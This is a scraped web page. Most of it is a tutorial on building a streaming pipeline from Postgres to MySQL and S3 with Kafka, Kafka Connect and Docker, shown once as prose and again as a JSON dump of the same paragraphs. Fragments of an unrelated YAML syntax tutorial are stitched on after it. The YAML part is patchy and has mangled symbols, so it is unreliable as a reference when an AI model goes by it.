a different network than your signup service. Another business problem related to customer data is that your CEO wants every employee to know the current number of customers and where they’re signing up from. She has the admin team install several big monitors in the middle of the office, and your team has to create a dashboard that will be displayed on these monitors. Your current data warehouse only fetches user data every day, so you cannot use the existing batch pipeline. The dashboarding service is also on a different network, so you cannot query the production database directly. After researching several options, you realized that using Kafka and Kafka Connect running on Docker seems to be the best option for your problems. Here are what you found after the research. Kafka is an open-source stream-processing platform written in Scala and Java. According to the Kafka website, a streaming platform has three key capabilities: Publish and subscribe to streams of records, similar to a message queue or enterprise messaging system. Store streams of records in a fault-tolerant durable way. Process streams of records as they occur. Kafka is generally used to build either real-time applications that react to a stream of data or real-time data pipelines that reliably get data between systems or applications. In our use case, we need to stream data from our production system (Postgres DB) to a separate email service (MySQL DB) that the SE team is working on, as well as to S3, the data team’s data lake. Here are some concepts that you should familiarize yourself with regarding Kafka: Broker: Kafa broker receives messages from producers and stores them by unique offset. The broker will also allow consumers to fetch messages by a topic, partition, and offset. Message: is a unit of data in Kafka. You can think of each message as a record in your database. Topics and partitions: Each topic is a named stream of messages. A topic is made up of one or more partitions. Partitions allow Kafka to scale horizontally by distributing data across brokers. Kafka Connect, an open-source component of Kafka, is a framework to connect Kafa with external systems such as databases, key-value stores, search indexes, and file systems. Here are some concepts relating to Kafka Connect: Connectors: A connector is a logical job that is responsible for managing the copying of data between Kafka and other systems Source Connector: A connector that copies data from a system to Kafka Sink Connector: A connector that copies data from one or more Kafka topics to a system Tasks: Each connector instance coordinates a set of tasks that copy the data from a system to Kafka or vice versa Docker is a container technology that allows us to package up an application with all the parts it needs, such as libraries and dependencies. Instead of having to install Kafka, Kafka Connect, and all the databases on your local machine, you can use Docker to quickly and effectively deploy these services on your local computer. Docker-compose is a high-level command that allows you to use a YAML configuration file to deploy Docker containers with a single command. With all the terminologies out of the way, let’s look at our architecture for this solution. For our example, we will use Kafka connect to capture changes in the Users table from our production database on-premise and write to a Kafka topic. Two connectors will subscribe to the topic above, and write any changes to our email service’s MySQL database as well as the S3, our data lake. Now, this is the fun part! Let’s dive right in. To get started, clone my repo by typing the following to your terminal: git clone https://github.com/tuanchris/kafka-pipelinecd kafka-pipeline github.com We will use Docker and docker-compose for this project, and you can quickly lookup how to install them for your OS. Assuming you already have conda installed, you can create a new env and install the required packages by running: conda create -n kafka-pipeline python=3.7 -yconda activate kafka-pipelinepip install -r requirements.txt We will need PostgreSQL to connect to our source database (Postgres) and generate the streaming data. On Mac OS, you can install PostgreSQL using Homebrew by running: brew install postgresqlpip install psycopg2 You can google how to install PostgreSQL for other platforms We use docker-compose to start services with minimum effort. You can start the Postgres production database using: docker-compose -f docker-compose-pg.yml up -d Your Postgres database should be running on port 5432, and you can check the status of the container by typing docker ps to a terminal. I have written a short script to generate user data using the Faker library. The script will generate one record per second to our Postgres database, simulating a production database. You can run the script in a separate terminal tab using: python generate_data.py If everything is set up correctly, you will see outputs like so: Inserting data {'job': 'Physiotherapist', 'company': 'Miller LLC', 'ssn': '097-38-8791', 'residence': '421 Dustin Ramp Apt. 793\nPort Luis, AR 69680', 'username': 'terri24', 'name': 'Sarah Moran', 'sex': 'F', 'address': '906 Andrea Springs\nWest Tylerberg, ID 29968', 'mail': '[email protected]', 'birthdate': datetime.date(1917, 6, 3), 'timestamp': datetime.datetime(2020, 6, 29, 11, 20, 20, 355755)} And with that, we have simulated a production database with new customer data every second. Pretty neat, huh? You can connect to the Postgres database using a SQL client such as DataGrip or DBeaver to double the check that the data is writing to the Users table. The connection string should be jdbc:postgresql://TEST:password@postgres:5432/TEST Great, now that we have a production database running with data streaming to it, let’s start the main components of our simulation. We will be running the following services: Kafka broker: Kafa broker receives messages from producers and stores them by unique offset. The broker will also allow consumers to fetch messages by a topic, partition, and offset. Zookeeper: Zookeeper keeps track of the status of Kafka cluster nodes as well as Kafka topics and partitions Schema registry: Schema registry is a layer that will fetch and server your metadata (data about data) such as data type, precision, scale... and provides compatibility settings between different services. Kafka Connect: Kafka Connect is a framework for connecting Kafka with external systems such as databases, key-value stores, search indexes, and file systems. Kafdrop: Kafdrop is an opensource web UI fro viewing Kafka topics and browsing consumer groups. This will make inspecting and debugging our messages much easier. We can start all of these services by running: docker-compose -f docker-compose-kafka.yml up -d Wait a few minutes for docker to download the images and for the services to start up, and you can proceed to the next step. You can view logs outputs after the previous command complete using: docker-compose -f docker-compose-kafka.yml logs -f Next, we will configure our source connector to our production database (Postgres) using the Kafka connect rest API. Paste the following to your terminal: curl -i -X PUT http://localhost:8083/connectors/SOURCE_POSTGRES/config \ -H "Content-Type: application/json" \ -d '{ "connector.class":"io.confluent.connect.jdbc.JdbcSourceConnector", "connection.url":"jdbc:postgresql://postgres:5432/TEST", "connection.user":"TEST", "connection.password":"password", "poll.interval.ms":"1000", "mode":"incrementing", "incrementing.column.name":"index", "topic.prefix":"P_", "table.whitelist":"USERS", "validate.non.null":"false" }' When you see HTTP/1.1 201 Created, the connector is successfully created. What this command does is sending a JSON message with our configurations to the Kafka Connect instance. I will explain some of the configurations here, but you can reference the full list of configs here. connector.class: we are using the JDBC source connector to connect to our production database and extract data. connection.url: connection string to our source database. Since we are using Docker’s internal network, the database address is Postgres. If you are connecting to external databases, replace Postgres with the database’s IP. connection.user & connection.password: credentials for our database. poll.interval.ms: frequency to poll for new data. We are polling every second. mode: the mode for updating each table when it is polled. We are using an incremental key (index), but we can also update using a timestamp or bulk update. topic.prefix: the prefix of the topic to write data to Kafka. table.whitelist: List of table names to look for in our database. You can also set a query parameter to use a custom query. With the Kafdrop instance running, you can open a browser and go to localhost:9000 to see our P_USERS topic. You can go into the topic and see some sample messages on our topic. Just like that, you have a stream of User data to Kafka. Let’s start first with Mysql. Start the Mysql database by running: docker-compose -f docker-compose-mysql.yml up -d Here is our configuration: curl -i -X PUT http://localhost:8083/connectors/SINK_MYSQL/config \ -H "Content-Type: application/json" \ -d '{ "connector.class":"io.confluent.connect.jdbc.JdbcSinkConnector", "tasks.max":1, "topics":"P_USERS", "insert.mode":"insert", "connection.url":"jdbc:mysql://mysql:3306/TEST", "connection.user":"TEST", "connection.password":"password", "auto.create":true }' That’s it. Your generated data should now be streaming from Postgres to Mysql. Let’s go over the properties of the Mysql sink connector: insert.mode: How to insert data to the database. You can choose between insert and upsert. topics: The topic to read data from connection.url: Sink connection URL connection.user & connection.password: Sink credentials auto.create: Auto-create table if not exits Let’s query the MySQL database to see if our data is there. We can see that both the record count and max timestamp is updating! To write data to S3, it is equally easy and straight forward. You will need to setup environment variables: AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY in the docker-compose-kafka.yml file. After that you can create an S3 connector using the following configs: curl -i -X PUT -H "Accept:application/json" \ -H "Content-Type:application/json" http://localhost:8083/connectors/SINK_S3/config \ -d '{ "connector.class": "io.confluent.connect.s3.S3SinkConnector", "s3.region": "ap-southeast-1", "s3.bucket.name": "bucket-name", "topics": "P_USERS", "flush.size": "5", "timezone": "UTC", "tasks.max": "1", "value.converter.value.subject.name.strategy": "io.confluent.kafka.serializers.subject.RecordNameStrategy", "locale": "US", "format.class": "io.confluent.connect.s3.format.json.JsonFormat", "partitioner.class": "io.confluent.connect.storage.partitioner.DefaultPartitioner", "internal.value.converter": "org.apache.kafka.connect.json.JsonConverter", "storage.class": "io.confluent.connect.s3.storage.S3Storage", "rotate.schedule.interval.ms": "6000"}' Some notable configs: s3.region: region of your S3 bucket s3.bucket.name: bucket name to write data to topics: topics to read data from format.class: data format. You can choose from JSON, Avro and Parquet And voila, your pipeline is now complete. With a couple of docker-compose configurations files and connectors configurations, you have created a streaming pipeline that enables near real-time data analytics capability. Pretty powerful stuff! Now that the Users data is in Kafka as well as our sinks. The email service can pick up customer data coming in real-time, poll the recommendation API, and send a welcome email to the customer within 2 seconds. Likewise, with the data ingested in the data lake, you can create a real-time dashboard for your CEO. But you don’t have to stop there, as Kafka and its components are horizontally scalable. You can power most, if not all, of your pipelines using Kafka. Some companies run Kafka clusters with thousands of producers and subscribers. Of course, at such a scale, there is more work to do than our simple proof-of-concept setup. But there are managed Kafka services that you can use right out the box, such as MSK on AWS, or Confluent (multi-platform). You can also add more components to process real-time data such as Spark Streaming, KSQL, Beam, or Flink. If you don’t have any other docker containers running, you can shut down the ones for this project with the following command: docker stop $(docker ps -aq) Optionally, you can clean up docker images downloaded locally by running: docker system prune In this project, we made our marketing team and our CEO happy by building a streaming data pipeline using Docker, Kafka, and Kafka Connect. With what we built, other teams can easily take it from there to deliver what our stakeholders are asking for. I encourage you to try this project on your own if you never use Kafka before. Happy learning :)
[ { "code": null, "e": 476, "s": 172, "text": "Kafka was developed and open-sourced by LinkedIn in 2011, and it has since quickly evolved from messaging queue to a full-fledged streaming platform with an exuberant ecosystem. Many tech companies, besides LinkedIn such as Airbnb, Spotify, or Twitter, use Kafka for their mission-critical applications." }, { "code": null, "e": 811, "s": 476, "text": "Kafka can be used for many things, from messaging, web activities tracking, to log aggregation or stream processing. From my point of view as a data professional, Kafka can be used as a central component of a data streaming pipeline to power real-time use cases such as fraud detection, predictive maintenance, or real-time analytics." }, { "code": null, "e": 1027, "s": 811, "text": "There are entire books written about Kafka, and it can be daunting to get started. However, in this project, I will show you how easy it is to create a streaming data pipeline using Docker, Kafka, and Kafka Connect." }, { "code": null, "e": 1080, "s": 1027, "text": "Let’s define some business problems to work towards." }, { "code": null, "e": 1346, "s": 1080, "text": "Say you are a data engineer working for an e-commerce website that has users signing up continuously. The marketing team wants to send a personalized email to every customer who signs up as soon as they do so. Here are some problems with the newly proposed feature:" }, { "code": null, "e": 1579, "s": 1346, "text": "The signup service is coupled with emailing service. In other words, every time the requirements of the marketing change, you have to make a change to the signup service, which could bring down the whole thing if you’re not careful." }, { "code": null, "e": 1740, "s": 1579, "text": "Marketing requires that the email should be sent instantaneously when a user signs up. In engineering terms, they meant within 5s from when a customer signs up." }, { "code": null, "e": 1826, "s": 1740, "text": "The personalization model is hosting on a different network than your signup service." }, { "code": null, "e": 2152, "s": 1826, "text": "Another business problem related to customer data is that your CEO wants every employee to know the current number of customers and where they’re signing up from. She has the admin team install several big monitors in the middle of the office, and your team has to create a dashboard that will be displayed on these monitors." }, { "code": null, "e": 2261, "s": 2152, "text": "Your current data warehouse only fetches user data every day, so you cannot use the existing batch pipeline." }, { "code": null, "e": 2372, "s": 2261, "text": "The dashboarding service is also on a different network, so you cannot query the production database directly." }, { "code": null, "e": 2564, "s": 2372, "text": "After researching several options, you realized that using Kafka and Kafka Connect running on Docker seems to be the best option for your problems. Here are what you found after the research." }, { "code": null, "e": 2723, "s": 2564, "text": "Kafka is an open-source stream-processing platform written in Scala and Java. According to the Kafka website, a streaming platform has three key capabilities:" }, { "code": null, "e": 2827, "s": 2723, "text": "Publish and subscribe to streams of records, similar to a message queue or enterprise messaging system." }, { "code": null, "e": 2885, "s": 2827, "text": "Store streams of records in a fault-tolerant durable way." }, { "code": null, "e": 2927, "s": 2885, "text": "Process streams of records as they occur." }, { "code": null, "e": 3302, "s": 2927, "text": "Kafka is generally used to build either real-time applications that react to a stream of data or real-time data pipelines that reliably get data between systems or applications. In our use case, we need to stream data from our production system (Postgres DB) to a separate email service (MySQL DB) that the SE team is working on, as well as to S3, the data team’s data lake." }, { "code": null, "e": 3384, "s": 3302, "text": "Here are some concepts that you should familiarize yourself with regarding Kafka:" }, { "code": null, "e": 3561, "s": 3384, "text": "Broker: Kafa broker receives messages from producers and stores them by unique offset. The broker will also allow consumers to fetch messages by a topic, partition, and offset." }, { "code": null, "e": 3658, "s": 3561, "text": "Message: is a unit of data in Kafka. You can think of each message as a record in your database." }, { "code": null, "e": 3851, "s": 3658, "text": "Topics and partitions: Each topic is a named stream of messages. A topic is made up of one or more partitions. Partitions allow Kafka to scale horizontally by distributing data across brokers." }, { "code": null, "e": 4075, "s": 3851, "text": "Kafka Connect, an open-source component of Kafka, is a framework to connect Kafa with external systems such as databases, key-value stores, search indexes, and file systems. Here are some concepts relating to Kafka Connect:" }, { "code": null, "e": 4201, "s": 4075, "text": "Connectors: A connector is a logical job that is responsible for managing the copying of data between Kafka and other systems" }, { "code": null, "e": 4271, "s": 4201, "text": "Source Connector: A connector that copies data from a system to Kafka" }, { "code": null, "e": 4358, "s": 4271, "text": "Sink Connector: A connector that copies data from one or more Kafka topics to a system" }, { "code": null, "e": 4472, "s": 4358, "text": "Tasks: Each connector instance coordinates a set of tasks that copy the data from a system to Kafka or vice versa" }, { "code": null, "e": 4802, "s": 4472, "text": "Docker is a container technology that allows us to package up an application with all the parts it needs, such as libraries and dependencies. Instead of having to install Kafka, Kafka Connect, and all the databases on your local machine, you can use Docker to quickly and effectively deploy these services on your local computer." }, { "code": null, "e": 4941, "s": 4802, "text": "Docker-compose is a high-level command that allows you to use a YAML configuration file to deploy Docker containers with a single command." }, { "code": null, "e": 5034, "s": 4941, "text": "With all the terminologies out of the way, let’s look at our architecture for this solution." }, { "code": null, "e": 5327, "s": 5034, "text": "For our example, we will use Kafka connect to capture changes in the Users table from our production database on-premise and write to a Kafka topic. Two connectors will subscribe to the topic above, and write any changes to our email service’s MySQL database as well as the S3, our data lake." }, { "code": null, "e": 5375, "s": 5327, "text": "Now, this is the fun part! Let’s dive right in." }, { "code": null, "e": 5447, "s": 5375, "text": "To get started, clone my repo by typing the following to your terminal:" }, { "code": null, "e": 5518, "s": 5447, "text": "git clone https://github.com/tuanchris/kafka-pipelinecd kafka-pipeline" }, { "code": null, "e": 5529, "s": 5518, "text": "github.com" }, { "code": null, "e": 5645, "s": 5529, "text": "We will use Docker and docker-compose for this project, and you can quickly lookup how to install them for your OS." }, { "code": null, "e": 5759, "s": 5645, "text": "Assuming you already have conda installed, you can create a new env and install the required packages by running:" }, { "code": null, "e": 5864, "s": 5759, "text": "conda create -n kafka-pipeline python=3.7 -yconda activate kafka-pipelinepip install -r requirements.txt" }, { "code": null, "e": 6031, "s": 5864, "text": "We will need PostgreSQL to connect to our source database (Postgres) and generate the streaming data. On Mac OS, you can install PostgreSQL using Homebrew by running:" }, { "code": null, "e": 6075, "s": 6031, "text": "brew install postgresqlpip install psycopg2" }, { "code": null, "e": 6136, "s": 6075, "text": "You can google how to install PostgreSQL for other platforms" }, { "code": null, "e": 6251, "s": 6136, "text": "We use docker-compose to start services with minimum effort. You can start the Postgres production database using:" }, { "code": null, "e": 6297, "s": 6251, "text": "docker-compose -f docker-compose-pg.yml up -d" }, { "code": null, "e": 6433, "s": 6297, "text": "Your Postgres database should be running on port 5432, and you can check the status of the container by typing docker ps to a terminal." }, { "code": null, "e": 6674, "s": 6433, "text": "I have written a short script to generate user data using the Faker library. The script will generate one record per second to our Postgres database, simulating a production database. You can run the script in a separate terminal tab using:" }, { "code": null, "e": 6698, "s": 6674, "text": "python generate_data.py" }, { "code": null, "e": 6763, "s": 6698, "text": "If everything is set up correctly, you will see outputs like so:" }, { "code": null, "e": 7166, "s": 6763, "text": "Inserting data {'job': 'Physiotherapist', 'company': 'Miller LLC', 'ssn': '097-38-8791', 'residence': '421 Dustin Ramp Apt. 793\\nPort Luis, AR 69680', 'username': 'terri24', 'name': 'Sarah Moran', 'sex': 'F', 'address': '906 Andrea Springs\\nWest Tylerberg, ID 29968', 'mail': '[email protected]', 'birthdate': datetime.date(1917, 6, 3), 'timestamp': datetime.datetime(2020, 6, 29, 11, 20, 20, 355755)}" }, { "code": null, "e": 7276, "s": 7166, "text": "And with that, we have simulated a production database with new customer data every second. Pretty neat, huh?" }, { "code": null, "e": 7512, "s": 7276, "text": "You can connect to the Postgres database using a SQL client such as DataGrip or DBeaver to double the check that the data is writing to the Users table. The connection string should be jdbc:postgresql://TEST:password@postgres:5432/TEST" }, { "code": null, "e": 7687, "s": 7512, "text": "Great, now that we have a production database running with data streaming to it, let’s start the main components of our simulation. We will be running the following services:" }, { "code": null, "e": 7870, "s": 7687, "text": "Kafka broker: Kafa broker receives messages from producers and stores them by unique offset. The broker will also allow consumers to fetch messages by a topic, partition, and offset." }, { "code": null, "e": 7979, "s": 7870, "text": "Zookeeper: Zookeeper keeps track of the status of Kafka cluster nodes as well as Kafka topics and partitions" }, { "code": null, "e": 8185, "s": 7979, "text": "Schema registry: Schema registry is a layer that will fetch and server your metadata (data about data) such as data type, precision, scale... and provides compatibility settings between different services." }, { "code": null, "e": 8343, "s": 8185, "text": "Kafka Connect: Kafka Connect is a framework for connecting Kafka with external systems such as databases, key-value stores, search indexes, and file systems." }, { "code": null, "e": 8505, "s": 8343, "text": "Kafdrop: Kafdrop is an opensource web UI fro viewing Kafka topics and browsing consumer groups. This will make inspecting and debugging our messages much easier." }, { "code": null, "e": 8552, "s": 8505, "text": "We can start all of these services by running:" }, { "code": null, "e": 8601, "s": 8552, "text": "docker-compose -f docker-compose-kafka.yml up -d" }, { "code": null, "e": 8795, "s": 8601, "text": "Wait a few minutes for docker to download the images and for the services to start up, and you can proceed to the next step. You can view logs outputs after the previous command complete using:" }, { "code": null, "e": 8846, "s": 8795, "text": "docker-compose -f docker-compose-kafka.yml logs -f" }, { "code": null, "e": 9001, "s": 8846, "text": "Next, we will configure our source connector to our production database (Postgres) using the Kafka connect rest API. Paste the following to your terminal:" }, { "code": null, "e": 9592, "s": 9001, "text": "curl -i -X PUT http://localhost:8083/connectors/SOURCE_POSTGRES/config \\ -H \"Content-Type: application/json\" \\ -d '{ \"connector.class\":\"io.confluent.connect.jdbc.JdbcSourceConnector\", \"connection.url\":\"jdbc:postgresql://postgres:5432/TEST\", \"connection.user\":\"TEST\", \"connection.password\":\"password\", \"poll.interval.ms\":\"1000\", \"mode\":\"incrementing\", \"incrementing.column.name\":\"index\", \"topic.prefix\":\"P_\", \"table.whitelist\":\"USERS\", \"validate.non.null\":\"false\" }'" }, { "code": null, "e": 9871, "s": 9592, "text": "When you see HTTP/1.1 201 Created, the connector is successfully created. What this command does is sending a JSON message with our configurations to the Kafka Connect instance. I will explain some of the configurations here, but you can reference the full list of configs here." }, { "code": null, "e": 9983, "s": 9871, "text": "connector.class: we are using the JDBC source connector to connect to our production database and extract data." }, { "code": null, "e": 10207, "s": 9983, "text": "connection.url: connection string to our source database. Since we are using Docker’s internal network, the database address is Postgres. If you are connecting to external databases, replace Postgres with the database’s IP." }, { "code": null, "e": 10276, "s": 10207, "text": "connection.user & connection.password: credentials for our database." }, { "code": null, "e": 10355, "s": 10276, "text": "poll.interval.ms: frequency to poll for new data. We are polling every second." }, { "code": null, "e": 10511, "s": 10355, "text": "mode: the mode for updating each table when it is polled. We are using an incremental key (index), but we can also update using a timestamp or bulk update." }, { "code": null, "e": 10573, "s": 10511, "text": "topic.prefix: the prefix of the topic to write data to Kafka." }, { "code": null, "e": 10697, "s": 10573, "text": "table.whitelist: List of table names to look for in our database. You can also set a query parameter to use a custom query." }, { "code": null, "e": 10875, "s": 10697, "text": "With the Kafdrop instance running, you can open a browser and go to localhost:9000 to see our P_USERS topic. You can go into the topic and see some sample messages on our topic." }, { "code": null, "e": 10932, "s": 10875, "text": "Just like that, you have a stream of User data to Kafka." }, { "code": null, "e": 10999, "s": 10932, "text": "Let’s start first with Mysql. Start the Mysql database by running:" }, { "code": null, "e": 11048, "s": 10999, "text": "docker-compose -f docker-compose-mysql.yml up -d" }, { "code": null, "e": 11075, "s": 11048, "text": "Here is our configuration:" }, { "code": null, "e": 11521, "s": 11075, "text": "curl -i -X PUT http://localhost:8083/connectors/SINK_MYSQL/config \\ -H \"Content-Type: application/json\" \\ -d '{ \t\t\"connector.class\":\"io.confluent.connect.jdbc.JdbcSinkConnector\", \t\t\"tasks.max\":1, \t\t\"topics\":\"P_USERS\", \"insert.mode\":\"insert\", \t\t\"connection.url\":\"jdbc:mysql://mysql:3306/TEST\", \t\t\"connection.user\":\"TEST\", \t\t\"connection.password\":\"password\", \t\t\"auto.create\":true \t}'" }, { "code": null, "e": 11658, "s": 11521, "text": "That’s it. Your generated data should now be streaming from Postgres to Mysql. Let’s go over the properties of the Mysql sink connector:" }, { "code": null, "e": 11749, "s": 11658, "text": "insert.mode: How to insert data to the database. You can choose between insert and upsert." }, { "code": null, "e": 11785, "s": 11749, "text": "topics: The topic to read data from" }, { "code": null, "e": 11821, "s": 11785, "text": "connection.url: Sink connection URL" }, { "code": null, "e": 11877, "s": 11821, "text": "connection.user & connection.password: Sink credentials" }, { "code": null, "e": 11921, "s": 11877, "text": "auto.create: Auto-create table if not exits" }, { "code": null, "e": 12050, "s": 11921, "text": "Let’s query the MySQL database to see if our data is there. We can see that both the record count and max timestamp is updating!" }, { "code": null, "e": 12311, "s": 12050, "text": "To write data to S3, it is equally easy and straight forward. You will need to setup environment variables: AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY in the docker-compose-kafka.yml file. After that you can create an S3 connector using the following configs:" }, { "code": null, "e": 13151, "s": 12311, "text": "curl -i -X PUT -H \"Accept:application/json\" \\ -H \"Content-Type:application/json\" http://localhost:8083/connectors/SINK_S3/config \\ -d '{ \"connector.class\": \"io.confluent.connect.s3.S3SinkConnector\", \"s3.region\": \"ap-southeast-1\", \"s3.bucket.name\": \"bucket-name\", \"topics\": \"P_USERS\", \"flush.size\": \"5\", \"timezone\": \"UTC\", \"tasks.max\": \"1\", \"value.converter.value.subject.name.strategy\": \"io.confluent.kafka.serializers.subject.RecordNameStrategy\", \"locale\": \"US\", \"format.class\": \"io.confluent.connect.s3.format.json.JsonFormat\", \"partitioner.class\": \"io.confluent.connect.storage.partitioner.DefaultPartitioner\", \"internal.value.converter\": \"org.apache.kafka.connect.json.JsonConverter\", \"storage.class\": \"io.confluent.connect.s3.storage.S3Storage\", \"rotate.schedule.interval.ms\": \"6000\"}'" }, { "code": null, "e": 13173, "s": 13151, "text": "Some notable configs:" }, { "code": null, "e": 13209, "s": 13173, "text": "s3.region: region of your S3 bucket" }, { "code": null, "e": 13254, "s": 13209, "text": "s3.bucket.name: bucket name to write data to" }, { "code": null, "e": 13287, "s": 13254, "text": "topics: topics to read data from" }, { "code": null, "e": 13357, "s": 13287, "text": "format.class: data format. You can choose from JSON, Avro and Parquet" }, { "code": null, "e": 13599, "s": 13357, "text": "And voila, your pipeline is now complete. With a couple of docker-compose configurations files and connectors configurations, you have created a streaming pipeline that enables near real-time data analytics capability. Pretty powerful stuff!" }, { "code": null, "e": 13912, "s": 13599, "text": "Now that the Users data is in Kafka as well as our sinks. The email service can pick up customer data coming in real-time, poll the recommendation API, and send a welcome email to the customer within 2 seconds. Likewise, with the data ingested in the data lake, you can create a real-time dashboard for your CEO." }, { "code": null, "e": 14466, "s": 13912, "text": "But you don’t have to stop there, as Kafka and its components are horizontally scalable. You can power most, if not all, of your pipelines using Kafka. Some companies run Kafka clusters with thousands of producers and subscribers. Of course, at such a scale, there is more work to do than our simple proof-of-concept setup. But there are managed Kafka services that you can use right out the box, such as MSK on AWS, or Confluent (multi-platform). You can also add more components to process real-time data such as Spark Streaming, KSQL, Beam, or Flink." }, { "code": null, "e": 14593, "s": 14466, "text": "If you don’t have any other docker containers running, you can shut down the ones for this project with the following command:" }, { "code": null, "e": 14622, "s": 14593, "text": "docker stop $(docker ps -aq)" }, { "code": null, "e": 14696, "s": 14622, "text": "Optionally, you can clean up docker images downloaded locally by running:" }, { "code": null, "e": 14716, "s": 14696, "text": "docker system prune" }, { "code": null, "e": 14967, "s": 14716, "text": "In this project, we made our marketing team and our CEO happy by building a streaming data pipeline using Docker, Kafka, and Kafka Connect. With what we built, other teams can easily take it from there to deliver what our stakeholders are asking for." } ]
YAML - Syntax Primitives
In this chapter you will learn about the following aspects of syntax primitives in YAML − Production parameters Indentation Spaces Separation Spaces Ignored Line Prefix Line folding Let us understand each aspect in detail. Production parameters include a set of parameters and the range of allowed values which are used on a specific production. The following list of production parameters are used in YAML − It is denoted by character n or m Character stream depends on the indentation level of blocks included in it. Many productions have parameterized these features. It is denoted by c. YAML supports two groups of contexts: block styles and flow styles. It is denoted by s. Scalar content may be presented in one of the five styles: plain, double quoted and single quoted flow, literal and folded block. It is denoted by t. Block scalars offer many mechanisms which help in trimming the block: strip, clip and keep. Chomping helps in formatting new line strings. It is used Block style representation. Chomping process happens with the help of indicators. The indicators controls what output should be produced with newlines of string. The newlines are removed with (-) operator and newlines are added with (+) operator. An example for chomping process is shown below − strip: |- text↓ clip: | text↓ keep: |+ text↓ The output after parsing the specified YAML example is as follows − In YAML character stream, indentation is defined as a line break character by zero or more characters. The most important point to be kept in mind is that indentation must not contain any tab characters. The characters in indentation should never be considered as a part of node’s content information. Observe the following code for better understanding − %YAML 1.1 --- !!map { ? !!str "Not indented" : !!map { ? !!str "By one space" : !!str "By four\n spaces\n", ? !!str "Flow style" : !!seq [ !!str "By two", !!str "Still by two", !!str "Again by two", ] } } The output that you can see after indentation is as follows − { "Not indented": { "By one space": "By four\n spaces\n", "Flow style": [ "By two", "Still by two", "Again by two" ] } } YAML uses space characters for separation between tokens. The most important note is that separation in YAML should not contain tab characters. The following lone of code shows the usage of separation spaces − { · first: · Sammy, · last: · Sosa · } { "\u00b7 last": "\u00b7 Sosa \u00b7", "\u00b7 first": "\u00b7 Sammy" } Empty prefix always includes indentation depending on the scalar type which also includes a leading whitespace. Plain scalars should not contain any tab characters. On the other hand, quoted scalars may contain tab characters. Block scalars completely depend on indentation. The following example shows the working of ignored line prefix in a systematic manner − %YAML 1.1 --- !!map { ? !!str "plain" : !!str "text lines", ? !!str "quoted" : !!str "text lines", ? !!str "block" : !!str "text·®lines\n" } The output achieved for the block streams is as follows − { "plain": "text lines", "quoted": "text lines", "block": "text\u00b7\u00aelines\n" } Line Folding allows breaking long lines for readability. More amounts of short lines mean better readability. Line folding is achieved by noting original semantics of long line. The following example demonstrates line folding − %YAML 1.1 --- !!str "specific\L\ trimmed\n\n\n\ as space" You can see the output for line folding in JSON format as follows − "specific\u2028trimmed\n\n\nas space" 33 Lectures 44 mins Tarun Telang Print Add Notes Bookmark this page
[ { "code": null, "e": 2138, "s": 2048, "text": "In this chapter you will learn about the following aspects of syntax primitives in YAML −" }, { "code": null, "e": 2160, "s": 2138, "text": "Production parameters" }, { "code": null, "e": 2179, "s": 2160, "text": "Indentation Spaces" }, { "code": null, "e": 2197, "s": 2179, "text": "Separation Spaces" }, { "code": null, "e": 2217, "s": 2197, "text": "Ignored Line Prefix" }, { "code": null, "e": 2230, "s": 2217, "text": "Line folding" }, { "code": null, "e": 2271, "s": 2230, "text": "Let us understand each aspect in detail." }, { "code": null, "e": 2457, "s": 2271, "text": "Production parameters include a set of parameters and the range of allowed values which are used on a specific production. The following list of production parameters are used in YAML −" }, { "code": null, "e": 2619, "s": 2457, "text": "It is denoted by character n or m\tCharacter stream depends on the indentation level of blocks included in it. Many productions have parameterized these features." }, { "code": null, "e": 2707, "s": 2619, "text": "It is denoted by c.\tYAML supports two groups of contexts: block styles and flow styles." }, { "code": null, "e": 2857, "s": 2707, "text": "It is denoted by s. Scalar content may be presented in one of the five styles: plain, double quoted and single quoted flow, literal and folded block." }, { "code": null, "e": 3274, "s": 2857, "text": "It is denoted by t. Block scalars offer many mechanisms which help in trimming the block: strip, clip and keep. Chomping helps in formatting new line strings. It is used Block style representation. Chomping process happens with the help of indicators. The indicators controls what output should be produced with newlines of string. The newlines are removed with (-) operator and newlines are added with (+) operator." }, { "code": null, "e": 3323, "s": 3274, "text": "An example for chomping process is shown below −" }, { "code": null, "e": 3378, "s": 3323, "text": "strip: |-\n text↓\nclip: |\n text↓\nkeep: |+\n text↓\n" }, { "code": null, "e": 3446, "s": 3378, "text": "The output after parsing the specified YAML example is as follows −" }, { "code": null, "e": 3802, "s": 3446, "text": "In YAML character stream, indentation is defined as a line break character by zero or more characters. The most important point to be kept in mind is that indentation must not contain any tab characters. The characters in indentation should never be considered as a part of node’s content information. Observe the following code for better understanding −" }, { "code": null, "e": 4073, "s": 3802, "text": "%YAML 1.1\n---\n!!map {\n ? !!str \"Not indented\"\n : !!map {\n ? !!str \"By one space\"\n : !!str \"By four\\n spaces\\n\",\n ? !!str \"Flow style\"\n : !!seq [\n !!str \"By two\",\n !!str \"Still by two\",\n !!str \"Again by two\",\n ]\n }\n}" }, { "code": null, "e": 4135, "s": 4073, "text": "The output that you can see after indentation is as follows −" }, { "code": null, "e": 4311, "s": 4135, "text": "{\n \"Not indented\": {\n \"By one space\": \"By four\\n spaces\\n\", \n \"Flow style\": [\n \"By two\", \n \"Still by two\", \n \"Again by two\"\n ]\n }\n}\n" }, { "code": null, "e": 4455, "s": 4311, "text": "YAML uses space characters for separation between tokens. The most important note is that separation in YAML should not contain tab characters." }, { "code": null, "e": 4521, "s": 4455, "text": "The following lone of code shows the usage of separation spaces −" }, { "code": null, "e": 4560, "s": 4521, "text": "{ · first: · Sammy, · last: · Sosa · }" }, { "code": null, "e": 4640, "s": 4560, "text": "{\n \"\\u00b7 last\": \"\\u00b7 Sosa \\u00b7\", \n \"\\u00b7 first\": \"\\u00b7 Sammy\"\n}\n" }, { "code": null, "e": 4915, "s": 4640, "text": "Empty prefix always includes indentation depending on the scalar type which also includes a leading whitespace. Plain scalars should not contain any tab characters. On the other hand, quoted scalars may contain tab characters. Block scalars completely depend on indentation." }, { "code": null, "e": 5003, "s": 4915, "text": "The following example shows the working of ignored line prefix in a systematic manner −" }, { "code": null, "e": 5162, "s": 5003, "text": "%YAML 1.1\n---\n!!map {\n ? !!str \"plain\"\n : !!str \"text lines\",\n ? !!str \"quoted\"\n : !!str \"text lines\",\n ? !!str \"block\"\n : !!str \"text·®lines\\n\"\n}" }, { "code": null, "e": 5220, "s": 5162, "text": "The output achieved for the block streams is as follows −" }, { "code": null, "e": 5318, "s": 5220, "text": "{\n \"plain\": \"text lines\", \n \"quoted\": \"text lines\", \n \"block\": \"text\\u00b7\\u00aelines\\n\"\n}\n" 